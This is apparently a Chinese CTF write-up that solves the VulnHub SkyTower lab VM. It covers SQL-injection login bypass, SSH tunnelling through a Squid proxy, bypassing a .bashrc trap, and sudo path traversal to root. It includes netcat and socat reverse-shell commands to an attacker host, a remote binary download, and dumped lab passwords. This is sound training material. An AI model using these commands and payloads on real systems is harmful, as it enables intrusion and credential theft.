11-SkyTower
靶机地址:https://www.vulnhub.com/entry/skytower-1,96/
靶机难度:中级(CTF)
信息收集
nmap
nmap 192.168.75.0/24 -sP
nmap -sS -sV -A -T4 192.168.75.20
22 ssh
80 tcp
3128 http-proxy Squid http proxy 3.1.20
80
访问web页面
发现是个登陆界面 尝试sql注入
发现 是'闭合
3218
nmap 扫描得到
3128端口开启了squid-http
Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器:
https://blog.csdn.net/qq_21419995/article/details/80888680
sql注入
尝试发现有过滤 无法sqlmap爆库
尝试字典爆破
https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list
proxychains git clone https://github.com/melbinkm/SQL-Injection-Payloads.git
利用burpsuite抓包拦截发送到->intruder进行sql注入爆破,为了确保选择email和password字段,攻击类型设置:pitchfork
payloads1和2选择同样的文本,并单击Start Attack!
发现长度为1838的是成功的
这里可以用 repeater发送
也可以在页面使用payload注入
Username: john
Password: hereisjohn
代理转发ssh
ssh john@192.168.75.20
无法连接 前面知道开启squid代理 需要代理
proxychains代理
ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。
ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。
ProxyChains 是一个强制应用的 TCP 连接通过代理的工具,支持 Tor、HTTP、与 Socks 代理。
与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理。
参考文章
https://zhuanlan.zhihu.com/p/166375631
vim /etc/proxychans4.conf
添加:http 192.168.75.20 3128
proxychains ssh john@192.168.75.20
发现连接后自动断开连接
参考文章 https://cloud.tencent.com/developer/article/1594881
ssh连接获得的是一个shell
这里尝试是否可以执行命令
proxychains ssh john@192.168.75.20 -t id
可以执行
proxytunnel隧道代理
proxytunnel是一款利用http connection封装技术建立隧道的工具
使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景
proxytunnel -p 192.168.75.20:3128 -d 127.0.0.1:22 -a 1234 kali本地1234端口
将kali与项目的3128端口建立隧道,隧道建立的端口转发到项目本地的22端口,然后在映射到kali本地1234端口。
-a 指定本地侦听端口
-p 使用代理
-r 使用第二个代理
-d 指定访问的目标和端口
ssh john@192.168.75.20 -p 1234 -t id
绕过ssh
因为无法得到shell
尝试绕过 查看是否具有条件
ssh john@127.0.0.1 -p 1234 -t which python
ssh john@127.0.0.1 -p 1234 -t which php
ssh john@127.0.0.1 -p 1234 -t which perl
ssh john@127.0.0.1 -p 1234 -t which nc
nc -lvp 5566
ssh john@127.0.0.1 -p 1234 nc 192.168.75.5 5566 -e /bin/bash
cd /
grep -rn "Funds have been withdrawn" 2>/dev/null
.bashrc:113:echo "Funds have been withdrawn"
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
i选项是关闭的
这里面的命令导致结束shell!
.bashrc详解:
https://linux.cn/article-9298-1.html
http://c.biancheng.net/view/2767.html
pty方法
wget --no-check-certificate https://github.com/ernw/static-toolbox/releases/download/socat-v1.7.4.1/socat-1.7.4.1-x86_64 -O socat
python -m SimpleHTTPServer
wget http://192.168.75.5:8081/socat
chmod +x socat
HOME=/dev/shm ./socat tcp:192.168.75.5:7788 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane
补全命令 此时shell tty 未完全
script -qc bash /dev/null
sudo -l
成功回显
小技巧替换bashrc
sed -i 's/exit/echo/g' .bashrc
-i 直接修改文件
用sed将bashrc文件中的exit全部替换为echo!
或者head删除最后三行信息!
"head -n -3 .bashrc > .bashrc"
或者直接删除 bashrc 这样可以获得一个ssh shell
proxychains ssh john@192.168.75.20 -t rm .bashrc
重命名
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains ssh john@192.168.75.20
mysql枚举
这里面符合udf提权条件 但是无法使用
查看底层文件login.php
cd /var/www
cat login.php
root root
mysql -uroot -proot
show databases;
use SkyTech
show tables;
desc login
select * from login;
三个账号密码
john@skytech.com hereisjohn
sara@skytech.com ihatethisjob
william@skytech.com senseable
尝试登录
sara ihatethisjob
可以登录
提权
proxychains ssh sara@192.168.75.20 -t mv .bashrc .bashrc.bak
proxychains sara john@192.168.75.20
ihatethisjob
sudo -l
sudo ls /accounts/../root
sudo cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
版权声明:本文为WHHLS原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。